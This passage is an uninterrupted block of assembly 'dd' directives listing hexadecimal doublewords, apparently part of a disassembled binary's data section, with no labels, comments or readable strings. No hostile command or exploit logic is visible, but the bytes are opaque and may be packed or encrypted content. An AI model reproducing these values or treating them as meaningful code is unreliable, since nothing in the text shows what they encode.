0BD68100h, 0FB78D48Fh dd 639C04EAh, 0D9B2CA80h, 302F6F70h, 5F000623h, 0FDDA4A2Fh dd 9479529Ah, 30FEB300h, 1ACA071h, 0CE1EAF00h, 8D111A0Ah dd 0C5E626EEh, 45A3D78h, 4CA624h, 77559256h, 68015DDCh dd 24BFBE81h, 0E2FC4128h, 0ABB3C5A6h, 0F7D8C830h, 43B90226h dd 1286EF1Dh, 5E0BDC58h, 0B09C304h, 0E4D865B0h, 3186052h dd 6C0B0090h, 30DCE09Bh, 5A12B3BEh, 682CF45Bh, 0C8EB4F59h dd 23147818h, 22F0D8DDh, 0DB820097h, 1BB663AAh, 95071EECh dd 5FE126BAh, 0DB090A0h, 0C81255D2h, 2457860h, 5FA3B30Ah dd 1CD241BEh, 0E2945917h, 0D1802009h, 4F5428ECh, 0C8D4CB60h dd 37E7C086h, 360B3B5Fh, 22BD077Bh, 4E82CB90h, 0FCB5B528h dd 0D013213h, 2D81630Dh, 522B6093h, 23F86E0Ch, 47C6014Ah dd 7B4DCCE1h, 82C1AC02h, 79E0F149h, 17581809h, 5D27765h dd 889DFAA4h, 0DC9B2E4Ch, 80CB4516h, 0D7C05FC8h, 12199056h dd 4AC63C1h, 0DC3B9BC5h, 0F123F7Ch, 28E203F7h, 6523E700h dd 73F3F5A8h, 0A628F04h, 489C7E2h, 43D861D2h, 8A970C6Dh dd 0C199C89Ch, 70277177h, 4E4E6DC4h, 0DC9B9830h, 97B62982h dd 10956BD8h, 4C809F91h, 460A7845h, 0A097905Bh, 0D0269560h dd 501500C3h, 0EFAFA143h, 0DA09884Ch, 1D497D09h, 80FF113Ch dd 0C7E08E9Dh, 0D3BE0134h, 53DCA82Dh, 0D0C0E287h, 0E0D065A4h dd 8CB3E898h, 452B0D0Bh, 0C098EDCEh, 70548591h, 47EACE0Bh dd 0F8FC6B50h, 1F193E68h, 71B43B2Eh, 737144A8h, 30A0E2F4h dd 2E24AD0Eh, 0AE1CE8F5h, 0A8237BD6h, 1A52D0A3h, 0EA791FFAh dd 0B7E80B2h, 41C036A7h, 4820F35Fh, 0F6E84B0h, 82B36FE3h dd 139085ECh, 0EBB23302h, 0EB3B0335h, 1580242Ch, 9E465E0Ch dd 0B2144413h, 9D2900B4h, 85CE35B9h, 0E3DB00A6h, 0CFBF0C3Dh dd 634E8170h, 208AC082h, 0A372AFA8h, 0F084C09Ch, 38B6E70Dh dd 0CB171817h, 0C0998838h, 0E61118FBh, 761253E8h, 5C304585h dd 5AED24Ah, 11405F18h, 2B9B807Eh, 8E17F678h, 0D80028A8h dd 33B5C458h, 2E207389h, 0C1D0EABDh, 397996BEh, 449AD7F4h dd 0C7B5AD81h, 0B784FC51h, 1C824A4Bh, 1C805E37h, 89B8B6Eh dd 0B0E5F08Bh, 18A929E2h, 1E00AEB4h, 1F6E8002h, 0C00EAF57h dd 0E95C3C6Ch, 5A253DF5h, 1B7800A7h, 82D2CED3h, 465EB45Ch dd 4404C0Ch, 0C7033084h, 183948B2h, 7630D344h, 0D84B60DFh dd 0AC469535h, 0E260C301h, 84A0B57Eh, 2FE8E478h, 5100A943h dd 1F4404E5h, 0B21EF0EAh, 0C627DB9Ah, 0ABF62070h, 0B1C3Ch dd 3DA564E4h, 5EBC5EE6h, 759440F0h, 32DC37F4h, 78A8B059h dd 0BDB41797h, 7A6400C6h, 7FEB2DC0h, 129F1262h, 23C0F451h dd 0F8CE70D6h, 0DFC05F88h, 2F46B1h, 0F5FA21BAh, 0D9132E35h dd 0F7A898A8h, 0E7100100h dd 4321278Eh, 0CCB2BDE5h, 4A11AC9Dh, 0B101268Fh, 20B28DDCh dd 11009D50h, 0DE7B2A3Ah, 2D927D73h, 0D4406FADh, 0C502131Fh dd 0D29EF064h, 0D4C8019Fh, 4133F88h, 0B9E0F8A6h, 4400FAF4h dd 0E11A1821h, 8D28C1h, 0C2D84CDBh, 5C482D10h, 8099525Eh dd 89AC943Ch, 0EF0C128Ch, 8B6C85ECh, 0C683C8CCh, 64BB78E9h dd 655124A1h, 701C3118h, 9956E7C1h, 14E04CA6h, 940016D8h dd 3633CCE6h, 5F5A7558h, 27345EE7h, 0FC070CDh, 3D9DABAh dd 401CB992h, 0F0128DC8h, 0DC8EFFB7h, 16C060C8h, 37A422Bh dd 5A74CEA5h, 0A81A8F87h, 5929C17Bh, 20F4A028h, 0F0A0A181h dd 0DE8054F2h, 80E8B6C6h, 6F88A2CDh, 7954E49h, 35E09AD4h dd 2C3AB3B2h, 8F8C5718h, 0E1B687BEh, 0C82F3A10h, 0C1A7E510h dd 6EC1BB46h, 84307CCEh, 0A034D45Eh, 0AF056418h, 67EC0A2h dd 4AC860CEh, 743716C0h, 0D7600B7h, 1E86EADDh, 632DE2E9h dd 1BE4C88Fh, 1DB300D9h, 672808DDh, 0C30EF3E6h, 67C261B2h dd 0AC244AD5h, 6C49D4EDh, 900535BCh, 5BCC759Bh, 0B3229C04h dd 0E1F08D07h, 6333B97Bh, 0B8EC5D28h, 6CC81730h, 89086714h dd 0A0E4BCC5h, 294E1860h, 7DCB3818h, 0C1F546h, 0D767928Dh dd 0DB4574D1h, 504AEE25h, 585EA4h, 6301E6F8h, 979554F4h dd 8703114Ch, 16D10E46h, 7860A9D5h, 0D97E8853h, 0A3AC040Bh dd 2518FBE1h, 9B597C79h, 69EC9218h, 84C6CF3Bh, 0AD0B2002h dd 529430AFh, 31805474h, 22570003h, 823D53B4h, 0A0B68CF8h dd 11D4175Ah, 0EB1D8018h, 1D08399Ch, 0D630CBC0h, 0AC9C8552h dd 8C9FEC78h, 0E16F4A03h, 691AD2ECh, 6467B814h, 5B620344h dd 8753B380h, 2C2E5E3Bh, 0E289B0E3h, 0C0905CCDh, 12438B8h dd 7020365Fh, 0F2608317h, 1EB305C7h, 0ACCDA1CBh, 0A32280A8h dd 128C94FFh, 0D2C6B840h, 9057F3F0h, 3E919DC0h, 0A200D5D9h dd 41B4EC4h, 853E3B47h, 54D8021h, 337FF3CDh, 0A867009Bh dd 6395753Dh, 7F0DF80h, 0E20188B1h, 7CB56BF3h, 0ACC470EEh dd 5A7B3020h, 0F0F52771h, 898B8601h, 43DA2C69h, 0E370D8h dd 8393A6F1h, 0F0B2B4F6h, 0AC70219Fh, 4272CA0h, 80C4DA4Ah dd 285311CAh, 26162E94h, 6BD587CCh, 99092066h, 6D00636Eh dd 31C4873h, 96C2D26h, 0B3245101h, 44162054h, 6CDAB857h dd 60B224C7h, 0AF900CF9h, 2FB4525Dh, 0DD0E87Bh, 6D6E04FEh dd 0C17F6A7Eh, 0CA3164D1h, 7A4AAC5Ah, 90E81440h, 5BA63C2h dd 0EF620780h, 776C8015h, 0DC8ADA3Ch, 5246561Ch, 0B41FD700h dd 0B58EC816h, 2F308A3Fh, 0B13016AEh, 1889D18Ch, 0B26E2559h dd 88F9002Bh, 3AE35300h, 2E90C663h, 0ABC4B57Fh, 23A50370h dd 46F863AEh, 0CD3A5925h, 0E5BF013Fh, 5042D840h, 0AEC0407Eh dd 2BFE7C22h, 17E27900h, 4039B315h, 8F2654F8h, 0A5662DB5h dd 54B892h, 0F92B8B80h, 4D6ABDh, 0A6FFD9AFh, 85B77001h dd 29D80905h, 0C0B39227h, 8D880730h, 95007AC1h, 9CA8ADB2h dd 951C878Ah, 9B120481h, 0F0A4666Ah, 7933A12Ch, 7F3D0F55h dd 34821914h, 0C4DB0EA7h, 465CB8ACh, 0B3750002h, 6A0052Ch dd 0D4A3C07h, 8F265238h, 889C50B8h, 94C0FF26h, 46740026h dd 90E70999h, 5CF48774h, 7AE468C9h, 0B8C0C0BBh, 5F32A321h dd 2F206090h, 0DC335830h, 8090C32Dh, 5A056C49h, 906D5864h dd 210060B9h, 0D9109941h, 800370F3h, 6726EA66h, 0E78B90D5h dd 8C9C1249h, 0D1F8935Eh, 0CD6995D0h, 356DE105h, 0A4126723h dd 50D85474h, 0FC9000BBh, 1ADEC424h, 74BEE6EBh, 94497D50h dd 7465E50h, 0D8310377h, 8AB348BCh, 0FCDB71A2h, 80A87D92h dd 0A743DABCh, 50516B01h, 8CC68EECh, 21D716E0h, 0CF800BBh dd 0D5C2F5A2h, 0B1186324h, 9E990BEFh, 20957Ah, 0E40D60E7h dd 7B51F301h, 0B06E6314h, 0F63EE184h, 4027BE35h, 0A2A86413h dd 914052E8h, 0B310806Ch, 0FE3F23B8h, 5B24BCE2h, 0E8052CACh dd 10B8433Ch, 8C4AE8h, 0A0AA0FC1h, 0B16ECEFDh, 339891B7h dd 0AF040BC5h, 74B87474h, 38C22ACh, 0B854F301h, 0C188D8AFh dd 3A12D461h, 5CB1FAECh, 812C2A2Ah, 0EB23364Dh, 0B4402075h dd 17C026B1h, 0E00F345Eh, 0B61AF06Ch, 0B7C83EA2h, 0AD7B8F08h dd 0B08803CEh, 0C318C28h, 7ED0C059h, 0B0F06609h, 0E45EB9h dd 0AAC49812h, 1D281669h, 812D8907h, 5E228E63h, 0D9B34033h dd 2B7D6Eh, 0DD8A6CF6h, 0A34EA565h, 0A8B60F4Eh, 4DAEBDB0h dd 82A4DA0Fh, 0D02804h, 0DC90519Ch, 0E00B64ABh, 82C97537h dd 5C8B7E1Ch, 54676C0h, 34C9A301h, 6EEB0F1Bh, 846008B1h dd 2F50967Dh, 80C308EDh, 74FAE848h, 0B078008Fh, 0E8D84610h dd 0C412E9C1h, 90A47E72h, 0F220354h, 7C97C855h, 0F8D59EE8h dd 0D0733800h, 0C9D6D41Dh, 801302A2h, 9D5E4B67h, 27012070h dd 0B0CA771Eh, 3024B6ECh, 34CB1C9Bh, 8EDA935Bh, 0CE6088F8h dd 0AF7C16E0h, 752E9F35h, 0DA0D14C0h, 8BFC602Bh, 0F8E2090Ah dd 68A5CC8Ah, 0F8E0BCADh, 30FC8CB3h, 96E1B93Eh, 204261C7h dd 57D95B7Bh, 0FD04D0A3h, 62EB190Bh, 0E18843BEh, 68648378h dd 0EC6B18DBh, 0A81C30A0h, 0C24E9EECh, 15240A0h, 2BCCC9D4h dd 242D80ABh, 370CED0Ch, 11A2FA96h, 0E7E4033Eh, 0A1912FE5h dd 7120D0C5h, 0D3887B4Dh, 0FCD82F60h, 2C48806Ah, 6805B0Ah dd 41C00169h, 0BE9EC74Ch, 13C4291Eh, 0E0CB89C8h, 0A207E3DDh dd 850035CDh, 4A2F8A68h, 8044DB5Eh, 856C4AF5h, 0B6AD01B8h dd 0B0331B1h, 9BB040D8h, 0CF4A3701h, 89C2C10h, 461C2A2h dd 0CDC12Ch, 4B442705h, 8A1F13E5h, 7CB84Ch, 7EFB2E51h dd 39A8A7h, 0F8EAF0E3h, 0EBE45AD7h, 0A117BCA0h, 30AEEC80h dd 0C458F523h, 120EEAEDh, 2975790Ah, 790851EEh, 15318A6h dd 0DC8219C9h, 0CE852232h, 8619FE2h, 137E019Ch, 0A46431A5h dd 1F03FCE8h, 1015723Ah, 0E162A2B7h, 218557FDh, 0E6F89BC1h dd 26A8B074h, 0AE9E0727h, 52C1E5A7h, 0E85236DBh, 0ACB36E2Ch dd 0D9C3ED62h, 188971B8h, 324F302Ah, 43FA3C49h, 56E3Ch dd 0DC9DBFA8h, 27754D41h, 50970F93h, 8A80B411h, 0F35608C3h dd 34509328h, 0C6BA600h, 4E1928C4h, 8FB600D8h, 5F9B1618h dd 44B064BCh, 0DE678480h, 0FCD8284Fh, 0E86480A0h, 50A3812Eh dd 0C820E8A8h, 36DCA06Bh, 8C9A5844h, 2718EC2Ch, 84040EEh dd 3820A705h, 0CD2730A3h, 0C099C4D4h, 519ADE10h, 8E7C5214h dd 8C0CB824h, 0B1D73909h, 3A24DA93h, 0A4BBB032h, 367BF480h dd 0C221E28Dh, 0D82DFDE6h, 0D1D8AB35h, 0A6AF0174h, 0F84B1F24h dd 50E2FA8h, 0C0E19246h, 3111B0AEh, 6C49975Eh, 0BEBC6007h dd 7E385500h, 4B39E764h, 0A55F0163h, 72C599Eh, 14082E50h dd 782B8031h, 0CAD3908h, 4BCAAE00h, 222F01C9h, 0A1870EA2h dd 0DBE0F19Bh, 539F038Ah, 23BCD551h, 249A4AF0h, 7FEC0498h dd 0A8FDC809h, 11B01D80h, 0A4D98120h, 6C706C7Ch, 0D0EE5804h dd 47C862Ch, 0BB844AA2h, 907F86Fh, 83379D07h, 0B5E868E7h dd 0BA0935F5h, 7408614Eh, 32EC4054h, 0E200CB16h, 0D580F96Bh dd 0B8293F2h, 4F1D3C53h, 400090FAh, 0A9B83448h, 27DF800Fh dd 34D2F621h, 70DA164Ah, 39D916C3h, 3C4F99Dh, 8DAC449Ch dd 0AE79E02Ch, 9F7702B5h, 56F852B3h, 9E48A17Dh, 8C48ADEAh dd 4A689045h, 6B15h, 0E46EF80Ah, 4E1E6F1h, 43B0EA5h, 484CA943h dd 0E4214FC1h, 0C461EB50h, 0BC743AF4h, 18290F6Ch, 0E078E6D2h dd 34C5ADDh dd 0A2D9D785h, 0CFC13AC8h, 62588463h, 0CB412CDh, 82B00F4Dh dd 0B855232Fh, 972D313Bh, 25805408h, 0B4E43065h, 0AFB1B067h dd 0BC29DB84h, 4F60A469h, 1703D9Eh, 0CBE035E5h, 8130394Bh dd 0AF77B208h, 70F87C4Fh, 0C1D673AAh, 9AA8BE10h, 3688D03Ch dd 2F1EA003h, 0B0CB487Ah, 1CAD69E6h, 0CD0D71h, 2AD08E88h dd 281F0321h, 40B06CC1h, 1620477h, 58F04A4Eh, 0F0D9BACBh dd 0B0606F6Dh, 0FBE0CF21h, 33360338h, 0B2E73A3h, 4E820818h dd 18EA20h, 2638FEFCh, 0BA651059h, 60B5D006h, 0B9ACB4h dd 0F2C7FD22h, 1325513Ah, 7CED3800h, 842610C4h, 95340772h dd 0F009DAD1h, 5EC058B1h, 0AD782A0Eh, 0BF354020h, 0C05297E0h dd 656FAF70h, 0D403C2CAh, 0CCAB135Bh, 1E081883h, 720820BFh dd 0C1ECCA01h, 5196F789h, 11593980h, 0C6CF1C05h, 3A5FA100h dd 8343987Ch, 196C335Eh, 0F90097D1h, 693DE0AFh, 50A767A6h dd 8C738C71h, 3EFBE604h, 87620336h, 0FBDEEC21h, 1C043DCh dd 0CC63C438h, 8CB7A90Ah, 48AC67E0h, 452D188Eh, 55270B9h dd 20B08530h, 52FD0302h, 0E5238096h, 0C9CA6401h, 581873D4h dd 6D0D21C0h, 3CEE14CAh, 4C366B3Dh, 6C46C018h, 31FBE502h dd 88311B36h, 0FBDDF110h, 38CF781Eh, 0F955DC80h, 84882CCh dd 0AFA63D56h, 6C330C0Fh, 0D2A898h, 273A6A0Ah, 0CBB477C1h dd 2600A849h, 9A3C45BBh, 6107419h, 7E89B3B8h, 318C07AEh dd 603988DFh, 0C8AA8F4Ch, 0BDC20D07h, 42850ED4h, 0BE412C18h dd 30DEE8EDh, 17118AD6h, 680192C4h, 0C26BE40Ch, 898EBF4h dd 0BC362123h, 6F909215h, 837700BCh, 0EE3A9DFh, 80880633h dd 0B169B4C4h, 0BC395474h, 9E1160B7h, 24E6703Eh, 0C4CCD835h dd 0C0834FA1h, 2BD57F70h, 0A0610CC2h, 7169AA6Ch, 44158FB0h dd 7C648E47h, 2DC4686h, 0C6692C6h, 137F31F4h, 20929034h dd 551EECEh, 88FB0CC5h, 29C00FBBh, 0A03285E1h, 804344Eh dd 0E13EB200h, 86D0F447h, 645E24C9h, 0A0B108B4h, 6A33D100h dd 0A4BE7755h, 703C0478h, 624835E4h, 0EC7927AAh, 3B2E5020h dd 59003FC2h, 0C134D15Bh, 3C4C4C8Eh, 0C3925D0Eh, 90E72BE4h dd 5ECDDA4Ch, 0A6ECFA18h, 742574B0h, 0A788C2A5h, 0E0481F97h dd 0A30062EBh, 0A0FF36EEh, 17475A38h, 89381h, 929A76Ah dd 0E100A961h, 0BD0FE76Eh, 3FC6E696h, 60CC692Ch, 8C7CE8h dd 3AE2F159h, 9A9C330Dh, 31B4A0C4h, 9754B4D2h, 80A49190h dd 9D7C49FCh, 2A0102BBh, 276EC0F8h, 0F460CC80h, 0A4122B44h dd 0F008AFC7h, 0CA66C3E7h, 1883D4E9h, 6F0F8859h, 0D2C3CA03h dd 0B66D33h, 4A46C1E9h, 28C57902h, 0B50C4C13h, 71AEC020h dd 80900E7h, 34944B7Eh, 0E00FB216h, 211E1DEDh, 0A8874F22h dd 0DD4841CEh, 9208C918h, 0C4BC0C65h, 0C1354072h, 0BC5F792h dd 3998D20Bh, 42163D0Ch, 8B2440B2h, 4674A8FCh, 0B69D03B2h dd 386BDA98h, 7994F848h, 0BB0AA029h, 749C47C1h, 78025B46h dd 9981354Fh, 0AD9D3C40h, 0E29033F1h, 72BA307Dh, 0FB35FD3Bh dd 0B4A85562h, 75F044C8h, 75123537h, 2B43A8C1h, 320184C0h dd 3835EA70h, 3A7F000Eh, 673EA770h, 375901Dh, 0C3B76E14h dd 89247E6Ch, 80392819h, 88AACF67h, 782AD71h, 1F432001h dd 0D029A1F5h, 0D1047069h, 5841DE48h, 0DFAF15C0h, 92C780F4h dd 99EC0C67h, 0BF37C03Ch, 77003392h, 0E3D2632Bh, 14C4DB0Dh dd 0F06A840Ch, 642CC123h, 0C8BA025Ch, 0AD5752C0h, 1869B0C9h dd 3CFB08E4h, 7BC41336h, 0FBDCEE40h, 0D8246501h, 0D4A90C9Dh dd 0B118B3D1h, 7A1324FEh, 48200AD5h, 4CE02302h, 0BF3804BAh dd 8DF5192h, 68C0E138h, 48D4C5CAh, 9E0D453h, 6908CA71h dd 406C56A5h, 40AD8DC2h, 0CF2A6F0Eh, 11DAE0D9h, 165B7A31h dd 1EDE53C0h, 8E28E2B0h, 0F090382Fh, 2CA35B01h, 4DF80AB8h dd 747818A4h, 1738646h, 4EF38F0h, 50BAB423h, 5750B888h dd 0B3667F0Eh, 7EC0E0BEh, 1EE1193Ch, 6C671D8Eh, 3E2900E4h dd 50C386Eh, 0FCC87658h, 265C8C72h, 623C0F4Eh, 3789FF4Ah dd 0C62C00CBh, 4B97B4h, 0F33F9F08h, 0AD5CD173h, 7A99361Fh dd 98091824h, 0BFA80467h, 0E7703F60h, 0CC303526h, 70F87E71h dd 0E4E8003Ah, 0DE459C05h, 0BD013724h, 9DB1066h, 20B8FDh dd 20D8983Fh, 310A1FE6h, 3C6B9AF1h, 380FB805h, 98DBACD5h dd 0CDE19F80h, 0B0E27185h, 0E63DB9E2h, 40661CCCh, 0AC9CA344h dd 8C6E4CCCh, 3BFBE704h, 89620B36h, 0FBDFEF20h, 92FF004Bh dd 16AC113Eh, 0AE6C02B8h, 401ED841h, 0B5593F83h, 13A2340h dd 0D4C8CA67h, 402A186Bh, 6C0112BFh, 0B34C09CAh, 0D8DB6DEEh dd 75F8983Ah, 8758C039h, 0D1C9B4BCh, 6EBC7350h, 24228209h dd 0E6A8009Eh, 4B3E9933h, 0D4500F4Eh, 4B6E8520h, 1E24F3BBh dd 3F66C4Fh, 0CF203A72h, 32E8270Fh, 0AC908795h, 0D71850A0h dd 92C20286h, 6C140C6Ah, 30117C19h, 8DD830BAh, 0FC296F02h dd 0A049969Eh, 0E2F68B90h, 0C39C1959h, 1870A832h, 3DFB09E1h dd 1C3B36h, 0FC19ED00h, 0D2DB563Ah, 75480137h, 7AE1AE87h dd 843C30FFh, 3040B040h, 0BB908F92h, 61D3CAF1h, 80C23008h dd 4E9340Bh, 0EF696C93h, 43F40F21h, 8EB48E52h, 2BAB0429h dd 0BA9CECF9h, 3A3F78C0h, 0FEDA2CFFh, 8C191504h, 6992C580h dd 6B43DC0Ch, 31002022h, 0FF6D92BDh, 4946C0F9h, 1677908Dh dd 45B22212h, 8EBC3474h, 0C08988A8h, 0E326C56Ah, 44D53A00h dd 48059E60h, 4802FE03h, 0DC0E184Fh, 0DA09B492h, 83C4C865h dd 67088660h, 62097E78h, 2BF782Bh, 21ACA88h, 0F498B437h dd 2C7044BBh, 0F5230602h, 83B6F022h, 48C05FCCh, 1A22D420h dd 724430A7h, 0F9CC8260h, 0C83BC300h, 0C136D14Ch, 7A9CBA4Ah dd 8C1A2E64h, 66C68278h, 20721286h, 9C1B020Dh, 744190BCh dd 1883D515h, 2F7D248Eh, 9319E7F0h, 0E8502548h, 7B008C7Ah dd 0A72AD05Dh, 1C12744h, 0C887DF6Ch, 5057975Eh, 0C420B190h dd 0A3E12C00h, 42D47091h, 50D350A5h, 0E1AA4094h, 8B53326h dd 31418C2Ch, 1824C299h, 504B6B58h, 0C200B4BDh, 51846EF8h dd 37FC04EDh, 0B14DDD8h, 91B89754h, 138980AAh, 1A2239Fh dd 0AB1518C8h, 0DC328734h, 59D3172Ah, 0A1233C2Fh, 0B9817B00h dd 2ADE9F9Dh, 0C8B76Ch, 0C4834755h, 8D302E60h, 885A962Ah dd 843C2700h, 6DE7BC19h, 0DBF701E5h, 6FDFFF61h, 9E0203Eh dd 7082E926h, 89053C40h, 4108A27Dh, 6118E4ECh, 0D4C6CA0Bh dd 3589C7Bh, 5DCA6E0Ch, 1BB0FE74h, 0E0A0AEA8h, 0C72442D0h dd 200048Eh, 56F1CC67h, 9E19035Bh, 6048700Ah, 0B9B768E0h dd 5682F1C0h, 18B6C4h, 39FE5496h, 20A975E1h, 9F099C7Ch dd 0E82A8E6Ch, 0E6EE6B4h, 5608C69Eh, 0F8E5FFC9h, 18BE59E2h dd 1E0B07DCh, 878AF8D6h, 0C4F6B40Ch, 9B5827C8h, 0B865A4A9h dd 9C6120E4h, 0C33CDh, 0C0D9F09Ah, 1A5E5243h, 60A104FAh dd 27E210E5h, 80A218BFh, 0BA48A805h, 87853D4Ch, 308A000h dd 17C2A59h, 0CFF0CCADh, 885AE3D1h, 0BAF78D0h, 1806EC86h dd 42F08128h, 7A4124h, 7420E245h, 236492C8h, 2111C40Ch dd 92C04A00h, 0DAF6B3AEh, 416CCF0Bh, 88884550h, 3549AC6Eh dd 0A74880F0h, 6D03023h, 0F896A504h, 4C11EDAh, 7832C02Eh dd 2276EE16h, 0B4EAD87Ch, 7C446447h, 68431F60h, 2ED19200h dd 0F880E361h, 6FDE30A0h, 1E950B68h, 0E57CF27Dh, 7860A9FAh dd 90F46818h, 8768924Fh dd 602544ECh, 3408C22h, 0E9FAF0BDh, 9907796Ch, 92AC29FFh dd 6AF99790h, 0B3F2161Fh, 19EC05B2h, 0B240A374h, 613430A4h dd 41F56D00h, 82F881AEh, 9599143Ch, 584CD866h, 2444211h dd 0A00E75F4h, 3DD5E16Ah, 749879A4h, 0DB1FB346h, 42CA6AEh dd 87B6A932h, 0B12A3060h, 0AD547BE8h, 64B6AFE0h, 0BF27215Eh dd 95A88881h, 78305C7Fh, 60CC643Dh, 3894CDE5h, 6A007BB0h dd 21D162B4h, 12C4CE6Eh, 45F511DAh, 5D7F6CA8h, 0D9C84EC0h dd 414887A6h, 0C1164898h, 0BC095476h, 9F102932h, 9DA51120h dd 71BAA100h, 0BE99387h, 0F5262313h, 0CC09C044h, 9CF5BD8h dd 8C0E002h, 1228F602h, 82708172h, 59D284h, 69187BF1h dd 1DD8640Dh, 0D020C87Ch, 619F0062h, 6F15D099h, 0B42663A7h dd 74A310E5h, 0F4E1658h, 0B6D0B0D5h, 75173320h, 0C07C9E5Fh dd 0E04A8BAh, 0A1F83674h, 3E0AC90h, 4EAB2D68h, 0DB007CB7h dd 0E7090C0Ah, 0C0363BD3h, 84DC8AAEh, 0C01C6699h, 10570E24h dd 282FBC4Fh, 97057A23h, 54C9C602h, 20AABC02h, 0D0A91079h dd 9299C0Fh, 67E00535h, 0B12C74C1h, 30FBDA01h, 9F40B8C8h dd 6FD7298Ch, 1886D1E0h, 5DCE3997h, 0B7E8E089h, 151BF848h dd 320B7075h, 20D82303h, 8660E16Ch, 5EE49691h, 81BE5B21h dd 0A532D786h, 0C1C6078h, 38232Fh, 0D5E67A28h, 2C7C00F8h dd 0F2B024D6h, 0CB37B4E3h, 8EB591A2h, 0E159D040h, 15C67Bh dd 8B23DB13h, 3D8399FBh, 0D678680Ch, 1D652981h, 400453BBh dd 0D31E4D0Dh, 6725E6DAh, 3A4B7FAh, 0AAA53D59h, 996B9CF8h dd 19262D25h, 702CED94h, 8C7FB8h, 7BE56A22h, 4263D782h dd 0AC05352Eh, 4464D48Bh, 9EBB1638h, 1109568h, 0E0322C6Ch dd 43A040BEh, 30248E59h, 372DAC6Eh, 7FE384F4h, 38C0F19Ah dd 20659FB8h, 1F20EA20h, 8F7501F7h, 1D9809C5h, 95D400BFh dd 3120064h, 6BEA4FBAh, 0CB00798Bh, 70D00EA1h, 6E45378h dd 268E6C5h, 18EDA071h, 0C4CA086Bh, 20C64BD4h, 700E0061h dd 8A7D15CAh, 0C0003457h, 0CCBB590Fh, 3E44F461h, 1A899B6Fh dd 883BB788h, 0FBEA60ECh, 0E3361332h, 0F0682CA2h, 0D6FBE200h dd 434CBB25h, 0D0280F7Ah, 35657869h, 97C40271h, 0D0D3C7BFh dd 0CEFF70h, 7E248E49h, 0D7B4BF94h, 2F887959h, 0D1D4A081h dd 7C3C7DF8h, 33C602B5h, 8421AA06h, 91607478h, 69996031h dd 0B612F5Eh, 2A08501Dh, 0AC560BFh, 940B4D64h, 826925EFh dd 116B54Ch, 60ABB4D0h, 9D8A81E4h, 807C1170h, 0A87321EDh dd 4A278C9h, 4EA0C7E1h, 0E2A0C427h, 317BF2BCh, 70B1F1D5h dd 39178627h, 309AED64h, 634AABC0h, 8213A6A1h, 70810C1Ah dd 0C450B6B7h, 0EE3AB908h, 47AB0B02h, 0AC98606Fh, 3D3D0F57h dd 0ED3B0784h, 68D1BC78h, 0C44E7022h, 0ACC02788h, 30A8Fh dd 92612FFAh, 8896887h, 14B8BB74h, 99410E27h, 9854D3D0h dd 4600A06Fh, 5E1356BDh, 0A496B4C5h, 0D0B73980h, 1D73A1AAh dd 49368FF8h, 0B4E62442h, 48BE58h, 0FFE1DB3Dh, 0C077DEF0h dd 0D07F7CA0h, 6CBEDA06h, 70EE0ED6h, 5E493499h, 0D036D040h dd 0A9142227h, 79885994h, 50C187Ah, 0F3F8CCA4h, 0F424C2FDh dd 79C4AC79h, 48708752h, 56EC1249h, 89EC4020h, 9F63EFCh dd 7F714700h, 64946F30h, 8C192EF8h, 94C66980h, 72449CA7h dd 0BC809E60h, 0A6D3E101h, 342FB512h, 83A26833h, 9B1030h dd 4A81CEC8h, 97DDC5CBh, 3401C49h, 419F796Eh, 0A8249B64h dd 0C530A6h, 0C003B9D0h, 9EB8C87Ah, 3BE66601h, 0AD55D699h dd 9A22F029h, 465EE4BEh, 4E970F7Dh, 785280C3h, 2C0AD2C6h dd 257C8575h, 2C3CE861h, 0C0BD8814h, 35E17039h, 4486CCE0h dd 70FC80ADh, 0E4509B01h, 75FEC836h, 2C6BCC40h, 21885A2Ah dd 80792D64h, 4A24D170h, 0C86F8297h, 28036D8h, 0FE3AD06Ah dd 440492F5h, 0E93FC7ACh, 3140058Ch, 0DCC89F6Eh, 25F818B0h dd 54CB7089h, 60D0D091h, 7C840A76h, 249440CEh, 11C80018h dd 25703407h, 0D0FA9100h, 86836085h, 0F398397Ch, 77937687h dd 0DFA5811Ah, 1000F382h, 0D544264h, 19AFE4FCh, 834FF73h dd 8021BF6Ch, 0CC6954EAh, 62E1531h, 49929E02h, 7E015078h dd 778EBD08h, 4E0F284h, 388F6F9Dh, 0BAAA1C00h, 0D87D112Ch dd 0CFF98819h, 21848008h, 80BAA239h, 2634A79Dh, 9B95F526h dd 0F8450707h, 80902A00h, 6310D86h, 0D4D85EB4h, 9200BB2Eh dd 0CFCA11F3h, 28E6855Dh, 1E887A7Bh, 0C02E9793h, 1819FCA9h dd 4966F48Fh, 218308h, 8ECF3731h, 6AF5D002h, 0E67990A0h dd 607BDC30h, 3DC784F4h, 0EC8FCC58h, 8EA0E81Ah, 731705Eh dd 8727FF18h, 244B628h, 15627F78h, 0C8A07BCEh, 0AAC21E93h dd 5727920Fh, 19702C0Dh, 85150001h, 9DFAA423h, 73007AB2h dd 40EA876h, 19478F3Ah, 0D0826AB6h, 83118EBh, 11FCA8CFh dd 364E81C4h, 0F96ECF21h, 7412DCEFh, 37AC19C0h, 48A4DCD6h dd 4100C2Eh, 0D4606881h, 0AC800A11h, 0A8112ABAh, 4F7D448Ch dd 48BAA400h, 80AC4643h, 0ED010FD6h, 74814AC5h, 5B24DD3h dd 17CC7BBh, 847162F6h, 87FF98E0h, 0C5F72490h, 189C60FEh dd 8BFA51E3h, 0CE57A300h, 3E72CBE6h, 1A5F297h, 0C7F2166Eh dd 269E7C1Bh, 543D0254h, 31ECFC08h, 0E5431070h, 0EB260054h dd 0C7596074h, 0A1FDB97h, 0AE890727h, 9D8812F8h, 822B1154h dd 0C0BEE308h, 6002F588h, 0F816C89Bh, 10907B74h, 829E2603h dd 1D79C625h, 6BD7C39h, 11947433h, 0C208B300h, 695B1A3Dh dd 0C9127F78h, 0E8306D08h, 70009361h, 0FED9DDC8h, 924DCB7Eh dd 0C42C8738h, 67236061h, 9297319Ah, 0DC4F1A49h, 252C29B2h dd 6D03F02Fh, 0E820B5F0h, 1493C482h, 0B085070Fh, 93EA1C50h dd 0CF2A014Ch, 1839FCADh, 3531C048h, 0A01CCF33h, 8078100h dd 7491666Eh, 260EE040h, 5203EEAh, 5D81F798h, 91FA0CE0h dd 0C8141AD1h, 18AC3250h, 49B175CCh, 901C77E6h, 0A4AE2464h dd 11693EC8h, 309E1830h, 0E2149773h, 7C8ACDCh, 34DB25C7h dd 0A60CE883h, 0FF7C58h, 24ECBE1Ch, 99D0FCA4h, 3E40B761h dd 0E9807D7Ah, 27B160Ch, 1C00FFEAh, 0BB9D7072h, 125073D2h dd 8B9CC05h, 44C0A354h, 43FC0F54h, 0ECC09F34h, 4809C354h dd 6F6FAFCh, 